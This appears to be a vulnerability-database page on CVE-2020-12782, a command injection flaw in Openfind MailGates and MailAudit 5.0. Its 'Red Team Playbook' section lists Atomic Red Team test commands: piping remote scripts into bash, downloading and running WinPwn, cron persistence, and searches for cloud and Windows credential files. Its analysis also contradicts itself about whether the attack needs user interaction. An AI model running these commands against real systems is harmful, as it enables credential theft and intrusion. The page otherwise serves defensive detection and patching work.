CVE-2020-12782
Overview
This vulnerability is a command injection flaw in Openfind MailGates, specifically triggered by processing email attachments containing crafted strings. The root cause lies in insufficient input validation and improper handling of command parameters within the email parsing component, allowing execution of arbitrary system commands. The affected feature is the mail attachment processing module of Openfind MailGates version 5.0.
Vulnerability Description
Openfind MailGates contains a Command Injection flaw, when receiving email with specific strings, malicious code in the mail attachment will be triggered and gain unauthorized access to system files.
Impact
An unauthenticated attacker can send a specially crafted email to the vulnerable Openfind MailGates server, triggering execution of arbitrary system commands. This allows unauthorized access to system files and potentially full system compromise, including confidentiality, integrity, and availability breaches. The attack requires only network access to the mail server and no user interaction, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N. This can lead to data exfiltration, service disruption, and lateral movement within the affected environment.
Solution
According to the advisory published by TW-CERT (https://www.twcert.org.tw/tw/cp-132-3688-271ea-1.html), Openfind has released patches for MailGates version 5.0 addressing this command injection vulnerability. Administrators should apply the vendor-supplied update immediately to remediate the issue. The advisory provides detailed patch instructions and version updates to ensure the mail attachment processing component properly validates input and prevents command injection.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in Openfind MailGates and MailAudit is characterized by a command injection flaw that can be exploited through crafted email messages. This flaw allows an attacker to execute arbitrary commands on the server by embedding specific strings in email attachments. When the affected systems process these emails, the malicious code is triggered, leading to unauthorized access to system files. The underlying issue stems from inadequate input validation and sanitization, which permits the execution of commands that should be restricted. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating critical risk levels associated with potential exploitation.
Attack vectors for this vulnerability primarily involve social engineering tactics to entice users into opening malicious email attachments. An attacker could send an email that appears legitimate, containing an attachment designed to exploit the command injection flaw. Once the attachment is opened, the embedded code executes, allowing the attacker to gain control over the system. This could lead to further exploitation, such as data exfiltration, installation of malware, or lateral movement within the network. Additionally, the ease of crafting such emails makes this a particularly insidious threat, as it leverages human factors alongside technical weaknesses.
The real-world impact of this vulnerability can be significant for organizations using the affected products. Successful exploitation can lead to unauthorized access to sensitive information, compromise of critical systems, and potential data breaches. The financial implications can be severe, including costs associated with incident response, legal liabilities, and reputational damage. Furthermore, organizations may face regulatory penalties if they fail to protect sensitive data adequately. The potential for widespread disruption to business operations can also not be understated, as attackers may leverage access to disrupt services or demand ransom.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First and foremost, regular updates and patches should be applied to the affected products to ensure that known vulnerabilities are addressed. Additionally, organizations should employ robust email filtering solutions that can identify and block malicious attachments before they reach end users. Implementing strict input validation and sanitization practices can also help mitigate the risk of command injection attacks. Furthermore, user education and awareness training are critical in helping employees recognize phishing attempts and avoid opening suspicious emails.
In conclusion, the command injection vulnerability in Openfind MailGates and MailAudit represents a significant threat to organizations that utilize these products. The potential for exploitation through crafted email attachments poses a serious risk to system integrity and data security. By understanding the technical details, attack vectors, and real-world implications, organizations can better prepare themselves to defend against such threats. Proactive detection and mitigation strategies, combined with ongoing user education, are essential components of a comprehensive cybersecurity posture that can help safeguard against this and similar vulnerabilities.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Openfind | Mailaudit | 5.0 |
cpe:2.3:a:openfind:mailaudit:5.0:*:*:*:*:*:*:*
|
|
|
Openfind | Mailgates | 5.0 |
cpe:2.3:a:openfind:mailgates:5.0:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-12782 |
| twcert.org.tw |
GitHub CVE
x_refsource_MISC
|
https://www.twcert.org.tw/tw/cp-132-3688-271ea-1.html |